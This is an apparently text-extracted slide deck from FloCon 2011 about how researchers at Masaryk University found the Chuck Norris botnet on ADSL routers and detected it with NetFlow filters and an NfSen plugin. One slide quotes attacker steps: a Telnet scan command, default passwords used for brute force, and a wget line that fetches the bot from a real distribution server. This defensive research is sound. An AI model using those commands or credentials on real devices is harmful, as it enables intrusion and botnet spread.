Detecting Botnets
with NetFlow

V. Krmíček, T. Plesník
{vojtec|plesnik}@ics.muni.cz

FloCon 2011, January 12, Salt Lake City, Utah
Presentation Outline

- NetFlow Monitoring at MU
- Chuck Norris Botnet in a Nutshell
- Botnet Detection Methods
- NfSen Botnet Detection Plugin
- Conclusion
Part I

NetFlow Monitoring at MU
9 faculties: 200 departments and institutes
48 000 students and employees
15 000 networked hosts
2x 10 gigabit uplinks to CESNET

<table>
<thead>
<tr>
<th>Interval</th>
<th>Flows</th>
<th>Packets</th>
<th>Bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Second</td>
<td>5 k</td>
<td>150 k</td>
<td>132 M</td>
</tr>
<tr>
<td>Minute</td>
<td>300 k</td>
<td>9 M</td>
<td>8 G</td>
</tr>
<tr>
<td>Hour</td>
<td>15 M</td>
<td>522 M</td>
<td>448 G</td>
</tr>
<tr>
<td>Day</td>
<td>285 M</td>
<td>9.4 G</td>
<td>8 T</td>
</tr>
<tr>
<td>Week</td>
<td>1.6 G</td>
<td>57 G</td>
<td>50 T</td>
</tr>
</tbody>
</table>

Average traffic volume at the edge links in peak hours.
NetFlow monitoring at Masaryk University
NetFlow Monitoring at Masaryk University

FlowMon probe

NetFlow data generation

NetFlow v5/v9

NetFlow probe

NetFlow data collection

NetFlow collector

FlowMon probe

NetFlow data analyses

SPAM detection

worm/virus detection

intrusion detection

Krmíček, Plesník
Detecting Botnets with NetFlow
NetFlow Monitoring at Masaryk University

FlowMon probe

NetFlow v5/v9

NetFlow data generation

NetFlow collector

FlowMon probe

FlowMon probe

NetFlow data collection

NetFlow data analyses

SPAM detection

worm/virus detection

intrusion detection

incident reporting

http

WWW

mail

mailbox

syslog

syslog server
Network Behaviour Analysis at MU

- Identifies malware from **NetFlow data**.
- Watch what’s happening **inside the network** 24/7.
- Single purpose **detection patterns** (*scanning, botnets, ...*).
- **Complex models** of the network behavior.

**Even Chuck Norris Can’t Resist NetFlow Monitoring**

- Unusual worldwide **TELNET scan** attempts.
- Mostly coming from **ADSL connections**.
- **New botnet **Chuck Norris** discovered at December 2009.
- **Detailed analysis** followed.
Part II

Chuck Norris Botnet in a Nutshell
Chuck Norris Botnet

- **Linux malware** – IRC bots with central C&C servers.
- Attacks **poorly-configured** Linux **MIPSEL** devices.
- Vulnerable devices – **ADSL modems** and **routers**.

- Uses **TELNET brute force** attack for infection.
- Users are **not aware** about the malicious activities.
- **Missing** anti-malware **solution** to detect it.

Discovered at Masaryk University on 2 December 2009. The malware got the Chuck Norris moniker from a comment in its source code [R]anger Killato : in nome di Chuck Norris !
Botnet Lifecycle

- **Scanning for vulnerable devices in predefined networks**
  - IP prefixes of ADSL networks of worldwide operators
  - network scanning – `# pnscan -n30 88.102.106.0/24 23`

- **Infection of a vulnerable device**
  - TELNET dictionary attack – 15 default passwords
  - admin, password, root, 1234, dreambox, *blank password*

- **IRC bot initialization**
  - IRC bot download and execution on infected device
  - `# wget http://87.98.163.86/pwn/sys1gd;...`

- **Botnet C&C operations**
  - further bots spreading and C&C commands execution
  - DNS spoofing and denial-of-service attacks
More about Chuck Norris Botnet

Chuck Norris botnet lifecycle in details and further information are available at the CYBER project page:

http://www.muni.cz/ics/cyber/chuck_norris_botnet
Part III

Botnet Detection Methods
Detection Methods Overview

Five Detection Methods

- Telnet scan detection.
- Connections to botnet distribution sites detection.
- Connections to botnet C&C centers detection.
- DNS spoofing attack detection.
- ADSL string detection.

Methods Correspond to Botnet Lifecycle

Applied to NetFlow Data

- Defined as *NFDUMP* filters.
- Implemented to NfSen collector.
Telnet Scan Detection – Phase I

- Incoming and outgoing **TCP SYN scans** on port 23.

**NFDUMP detection filter:**

```
(net local_network)
and (dst port 23) and (proto TCP)
and ((flags S and not flags ARPUF) or (flags SR and not flags APUF))
```
Incoming and outgoing \textbf{TCP SYN scans} on port 23.

NFDUMP detection filter:

\begin{verbatim}
(net local_network)
\end{verbatim}
Incoming and outgoing **TCP SYN scans** on port 23.

**NFDUMP detection filter:**

\[
\text{(net local\_network)}
\]
Incoming and outgoing **TCP SYN scans** on port 23.

NFDUMP detection filter:

\[(\text{net local\_network}) \text{ and (dst port 23) and (proto TCP)}\]
Incoming and outgoing **TCP SYN scans** on port 23.

**NFDUMP detection filter:**

\[(\text{net local\_network}) \text{ and (dst port 23) and (proto TCP)}\]
Telnet Scan Detection – Phase I

- Incoming and outgoing **TCP SYN scans** on port 23.

**NFDUMP** detection filter:

\[
\text{(net local_network) and (dst port 23) and (proto TCP) and}
\text{((flags S and not flags ARPUF) or (flags SR and not flags APUF))}
\]
Bot’s **web download requests** from infected host.

**NFDUMP detection filter:**

\[\text{src} \text{ net local_network} \text{ and } (\text{dst ip web_servers 1}) \text{ and } (\text{dst port 80}) \text{ and (proto TCP)} \text{ and (flags SA and not flag R)}\]

\(^1\)IP addresses of attacker’s botnet distribution web servers
Bot’s **web download requests** from infected host.

NFDUMP detection filter:

```
(src net local_network)
```

\(^1\)IP addresses of attacker’s botnet distribution web servers
Bot’s **web download requests** from infected host.

NFDUMP detection filter:

(src net *local_network*) and (dst ip *web_servers*)

---

1. IP addresses of attacker’s botnet distribution web servers
Bot’s web download requests from infected host.

NFDUMP detection filter:

(src net local_network) and (dst ip web_servers\(^1\)) and
(dst port 80) and (proto TCP)

\(^1\)IP addresses of attacker’s botnet distribution web servers
Connections to Botnet Distribution Sites – Phase II

- Bot’s **web download requests** from infected host.

![Diagram showing connections](image)

### NFDUMP detection filter:

\[(\text{src net } local\_network) \land (\text{dst ip } web\_servers^{1}) \land (\text{dst port } 80) \land (\text{proto TCP}) \land (\text{flags SA and not flag R})\]

---

^{1}IP addresses of attacker’s botnet distribution web servers
Connections to Botnet C&C Center – Phase III

- Bot’s **IRC traffic** with command and control center.

**NFDUMP detection filter:**

\[(src net local_network) \land (dst ip IRC_server) \land (dst port 1200) \land (proto TCP) \land (flags SA) \land (not flag R)]

\(^2\)IP address of an attacker’s IRC server (Botnet C&C center)
Bot’s **IRC traffic** with command and control center.

**NFDUMP detection filter:**

```
(src net local_network)
```

\(^2\)IP address of an attacker’s IRC server (Botnet C&C center)
Bot’s IRC traffic with command and control center.

NFDUMP detection filter:

\[(\text{src net } \text{local\_network}) \text{ and } (\text{dst ip } \text{IRC\_server}^2)\]

\(^2\)IP address of an attacker’s IRC server (Botnet C&C center)
Bot’s **IRC traffic** with command and control center.

NFDUMP detection filter:

```
(src net local_network) and (dst ip IRC_server^2) and
(dst port 1200) and (proto TCP)
```

^2IP address of an attacker’s IRC server (Botnet C&C center)
Connections to Botnet C&C Center – Phase III

- Bot’s **IRC traffic** with command and control center.

NFDUMP detection filter:

\[(\text{src net } local\_network) \text{ and } (\text{dst ip IRC\_server}^2) \text{ and } (\text{dst port } 1200) \text{ and } (\text{proto TCP}) \text{ and } (\text{flags SA} \text{ and not flag R})\]

\(^2\)IP address of an attacker’s IRC server (Botnet C&C center)
DNS Spoofing Attack Detection – Phase IV

Attacker’s DNS or OpenDNS Queries

- Common DNS requests forwarded to OpenDNS servers.
- Targeted DNS requests forwarded to attacker’s spoofed DNS.

DNS Queries Outside Local Network

Used for Phishing Attacks

- E.g. Facebook or banking sites.

NFDUMP detection filter:

\[ \text{src net local_network and ((dst ip OpenDNS servers or dst ip DNS servers) and (proto UDP) and (dst port 53))} \]

\(^3\) IP addresses of a common OpenDNS servers

\(^4\) IP addresses of a spoofed attacker’s DNS servers
DNS Spoofing Attack Detection – Phase IV

Attacker’s DNS or OpenDNS Queries

- Common DNS requests forwarded to OpenDNS servers.
- Targeted DNS requests forwarded to attacker’s spoofed DNS.

DNS Queries Outside Local Network

Used for Phishing Attacks

- E.g. Facebook or banking sites.

NFDUMP detection filter:

\[(\text{src net } \text{local network})\]

---

\(^3\) IP addresses of a common OpenDNS servers
\(^4\) IP addresses of a spoofed attacker’s DNS servers
DNS Spoofing Attack Detection – Phase IV

Attacker’s DNS or OpenDNS Queries

- Common DNS requests forwarded to OpenDNS servers.
- Targeted DNS requests forwarded to attacker’s spoofed DNS.

DNS Queries Outside Local Network

Used for Phishing Attacks

- E.g. Facebook or banking sites.

NFDUMP detection filter:
(src net local_network) and (((dst ip OpenDNS servers$^3$) or

$^3$IP addresses of a common OpenDNS servers
$^4$IP addresses of a spoofed attacker’s DNS servers
DNS Spoofing Attack Detection – Phase IV

Attacker’s DNS or OpenDNS Queries

- Common DNS requests forwarded to **OpenDNS servers**.
- Targeted DNS requests forwarded to **attacker’s spoofed DNS**.

DNS Queries Outside Local Network

**Used for Phishing Attacks**

- E.g. Facebook or banking sites.

NFDUMP detection filter:

\[
\text{(src net } \text{local\_network}) \text{ and } ((\text{dst ip OpenDNS servers}^3) \text{ or } (\text{dst ip DNS servers}^4))
\]

\(^3\)IP addresses of a common OpenDNS servers
\(^4\)IP addresses of a spoofed attacker’s DNS servers
Attacker’s DNS or OpenDNS Queries

- Common DNS requests forwarded to OpenDNS servers.
- Targeted DNS requests forwarded to attacker’s spoofed DNS.

DNS Queries Outside Local Network

Used for Phishing Attacks

- E.g. Facebook or banking sites.

NFDUMP detection filter:

\[(\text{src net local_network}) \text{ and } ((\text{dst ip OpenDNS servers}^3) \text{ or } (\text{dst ip DNS servers}^4)) \text{ and } (\text{proto UDP}) \text{ and } (\text{dst port 53})\]

\(^3\)IP addresses of a common OpenDNS servers
\(^4\)IP addresses of a spoofed attacker’s DNS servers
Looking for ADSL String

- ADSL string indicates **Chuck Norris** botnet.
- Searching in victim’s hostname or victim’s WHOIS.
- Quering DNS server and parsing received hostname.
- Quering WHOIS database and parsing received info.

Whois data:

```
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
% [whois.apnic.net node-5]
inetnum: 114.143.88.1 - 114.143.95.254
descr: TTC ADSL Dynamic-Res256-3
country: IN
admin-c: 109-AP
tech-c: 109-AP
status: ASSIGNED NON-PERSONAL
mnt-by: MAINT-IN-AP
changed: saji.samuel@tatatel.co.in 20100115
source: APNIC
person: ISP Operation
nic-hdl: 109-AP
e-mail: hmalpe@ttc.co.in
address: D 26 TTC Industrial Area MIDC Sanpada Navi mumbai P.O Turbhe
address: Turbhe Navi mumbai
phone: +91-22-67910367
fax-no: +91-22-67917777
country: IN
changed: hemant.malpe@tatatel.co.in 20080808
mnt-by: MAINT-IN-AP
source: APNIC
```
Detected Chuck Norris Servers

Known IP Addresses

- **Web server addresses**: 87.98.173.190, 87.98.163.86
- **IRC server addresses**: 87.98.173.190, 87.98.163.86
- **IRC server port**: 12000
- **OpenDNS server addresses**: 208.67.222.222, 208.67.220.220
- **Spoofed DNS server**: 87.98.163.86

This data is used in detection methods by default.

IP addresses updates are published at project page.
Part IV

NfSen Botnet Detection Plugin
Botnet Detection Plugin

**Plugin Features**

- Detects Chuck Norris-like botnet behavior.
- Based on NetFlow and other network data sources.
- Processes data regularly and provides real-time output.

**Plugin Architecture**

- Compliant with NfSen plugins architecture recommendations.
- PHP frontend with a Perl backend and a PostgreSQL DB.
- Web, e-mail and syslog detection output and reporting.
Plugin Architecture

| BACKEND | FRONTE Nd |
Plugin Architecture

BACKEND

Фrontend

cndet.pm
Plugin Architecture

<table>
<thead>
<tr>
<th>BACKEND</th>
<th>FRONTEND</th>
</tr>
</thead>
<tbody>
<tr>
<td>cndet.pm</td>
<td>cndet.php</td>
</tr>
</tbody>
</table>
Plugin Architecture

**BACKEND**

- cndet.pm

**FRONTEND**

- cndet.php
  - nfsend
  - comm.
  - interface
Plugin Architecture

BACKEND

- cndet.pm
- cndetdb.pm

FRONTEND

- cndet.php
  - nfsend
  - comm.
  - interface

NetFlow data ➔ DNS ➔ WHOIS db
Plugin Architecture

**BACKEND**

- `cndet.pm`
- `cndetdb.pm`
- `PostgreSQL`
- `nfsend comm. interface`
- `NetFlow data`
- `DNS`
- `WHOIS db`

**FRONTEND**

- `cndet.php`

Krmíček, Plesník
Detecting Botnets with NetFlow
Plugin Architecture

**BACKEND**

- `cndet.pm`
- `nfsend`
- `interface`
- `PostgreSQL`
- `cndetdb.pm`

**FRONTEND**

- `cndet.php`

Data flow:
- NetFlow data
- DNS
- WHOIS db

- `nfsend comm. interface`
Plugin Architecture

**BACKEND**
- cndet.pm
- nfsend
- NetFlow data
- DNS
- WHOIS db
- PostgreSQL
- cndetdb.pm

**FRONTEND**
- cndet.php
- nfsend
- comm.
- interface

Detecting Botnets with NetFlow
Plugin Methods Architecture

cndetdb.pm

NetFlow data

DNS

WHOIS db

PostgreSQL
Plugin Methods Architecture

- NetFlow data
- DNS
- WHOIS db
- PostgreSQL
- cndetdb.pm
- Telnet scan detection
Plugin Methods Architecture

- **cndetdb.pm**
  - Telnet scan detection
  - Botnet distribution sites detection

- NetFlow data
- PostgreSQL
- DNS
- WHOIS db
Plugin Methods Architecture

- cndetdb.pm
  - Telnet scan detection
  - Botnet distribution sites detection
  - Botnet C&C centers detection

NetFlow data

DNS

WHOIS db

PostgreSQL
Plugin Methods Architecture

cndetdb.pm

- Telnet scan detection
- Botnet distribution sites detection
- Botnet C&C centers detection
- DNS spoofing attack detection
- ADSL string detection

NetFlow data
DNS
WHOIS db
PostgreSQL
## Web Interface – Infected Host Detected

The Web Interface is used to detect infected hosts and botnets within and outside the network. The interface allows for filtering by time window and quick interval selection.

### Suspicious hosts in our network

<table>
<thead>
<tr>
<th>IP address</th>
<th>Name</th>
<th>Last activity</th>
<th>Being scanned</th>
<th>Scanning</th>
<th>Download</th>
<th>C &amp; C</th>
<th>DNS</th>
</tr>
</thead>
<tbody>
<tr>
<td>147.251.0</td>
<td>muni.cz</td>
<td>2011-01-04 17:17:22</td>
<td>X</td>
<td></td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>147.251.0</td>
<td>muni.cz</td>
<td>2011-01-04 16:47:50</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Suspicious hosts outside our network (aggregated by NETNAME)

<table>
<thead>
<tr>
<th>Netname</th>
<th>AS number</th>
<th>Number of scanning hosts</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABTS-DSL-DEL</td>
<td>24560</td>
<td>4 hosts - Hide addresses</td>
</tr>
<tr>
<td>ABTS-KK-DSL-9102-BLR</td>
<td>24560</td>
<td>1 host - Show addresses</td>
</tr>
<tr>
<td>ABTS-MP-DSL-9445-BPL</td>
<td>24560</td>
<td>1 host - Show addresses</td>
</tr>
<tr>
<td>ADSLDGNNANSERVICE-NET</td>
<td>7552</td>
<td>1 host - Show addresses</td>
</tr>
<tr>
<td>ADSLSERVICECHI-NET</td>
<td>7552</td>
<td>3 hosts - Show addresses</td>
</tr>
<tr>
<td>BSNLNET</td>
<td>9829</td>
<td>18 hosts - Show addresses</td>
</tr>
<tr>
<td>MTNLISP</td>
<td>17813</td>
<td>307 hosts - Show addresses</td>
</tr>
<tr>
<td>UNICOM-HC</td>
<td>4837</td>
<td>1 host - Show addresses</td>
</tr>
<tr>
<td>VIETELFTTH-NET</td>
<td>7552</td>
<td>1 host - Show addresses</td>
</tr>
<tr>
<td>VIETELGPRS-NET</td>
<td>7552</td>
<td>2 hosts - Show addresses</td>
</tr>
</tbody>
</table>

Shown results for time window from 2011-01-04 16:30 to 2011-01-04 17:25 (55 minutes).
Part V

Conclusion
Botnet Lifecycle Similar for Majority of Botnets

- scanning for possible bots
- infection of a vulnerable devices
- bot initialization/update
- botnet operation

Botnet Detection Plugin Customization

- modular plugin engine
- easy modification for detection of other botnet
- we need to customize detection methods
- plugin distributed under the BSD license
Conclusion

Network Devices Are Not Protected

- Routers, access points, printers, cameras, TVs, ...
- **No AV software**, missing **patches** and **firmware updates**.
- But they **should be protected**!

Experience

- **NetFlow can monitor** all such devices in network.
- Discovery of new **Chuck Norris botnet** using **NetFlow**.
- Developed a **specialized NfSen plugin** for Chuck Norris botnet detection.

Future

- Chuck Norris is down, but **others are coming** (e.g., Stuxnet).
- We are **open to research collaboration**.
- Detection plugin **is available** at our project site.
Thank You For Your Attention!

Vojtěch Krmíček
Tomáš Plesník
vojtec|plesnik@ics.muni.cz

Project CYBER
http://www.muni.cz/ics/cyber

Detecting Botnets with NetFlow

This material is based upon work supported by the Czech Ministry of Defence under Contract No. OVMASUN200801.